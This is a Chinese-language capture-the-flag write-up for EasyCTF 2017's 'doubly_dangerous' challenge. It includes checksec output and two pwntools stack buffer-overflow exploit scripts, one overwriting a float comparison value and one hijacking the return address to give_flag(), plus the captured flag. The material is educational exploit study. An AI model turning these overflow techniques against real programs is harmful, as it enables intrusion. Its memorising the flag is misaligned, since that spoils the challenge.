EasyCTF 2017-doubly_dangerous writeup

题目下载链接

拿到题目还是先看一下基本信息:

1
2
☁  EasyCTF 2017-doubly_dangerous  file doubly_dangerous 
doubly_dangerous: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e428a56c9c1db006d533565eb3f8e29391c5bdd, not stripped
1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

本程序是一个32位动态链接程序,并且开启了堆栈执行保护NX

main函数逻辑如下

很简单的一道溢出题,可以一题多解

解法一

需要将v5的值改为11.28125,唯一难点在于确定11.28125存储方式

可以用如下代码打印出我们需要的数据(由于系统环境的差异,此代码运行的结果可能不正确):

1
2
3
4
5
6
7
#include<stdio.h>
int main()
{
double x = 11.28125;//更改为我们要修改的数值
long long n = *(long long*)&x;
printf("%llX",n);
}

还有一种方式是直接看汇编代码:

gets()函数之后程序会比较ebp-0xC0x804876C的值是否相等

查看十六进制的数值

从而得到我们要的数据0x00803441,但是系统采用的是大端序因而这个值为0x41348000

因为之前写的文章里又不少详细的介绍比如这个,这里就直接放脚本了:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
#coding:utf-8
from pwn import *
p=process("./doubly_dangerous")
payload=""
payload+="A"*64+p32(0x41348000)
p.recvuntil("\n")
p.sendline(payload)
print p.recv()

解法二

通过缓冲区溢出修改get函数的返回地址,使程序转到give_flag()函数

需要构造4CH+4H即80个任意字符+give_flag()的函数地址

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(arch = 'i386', os = 'linux', timeout = 1) #初始化上下文环境,主要是系统、架构和读取超时时间

io = process("./doubly_dangerous")

get_flag_addr = 0x0804857b #程序中give_flag函数的代码地址

payload = ''
payload += 'A'*80 #使用80个任意字符填充
payload += p64(get_flag_addr) #将EIP劫持到get_flag_addr

print io.recv() #读取程序的输出
io.sendline(payload) #向程序输入payload,注意使用sendline()或者send()的数据末尾加上回车'\n'
print io.recv() #读取flag

运行脚本即可获得flag

1
easyctf{bofs_and_floats_are_d0uble_tr0uble!}
# CTF, PWN

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×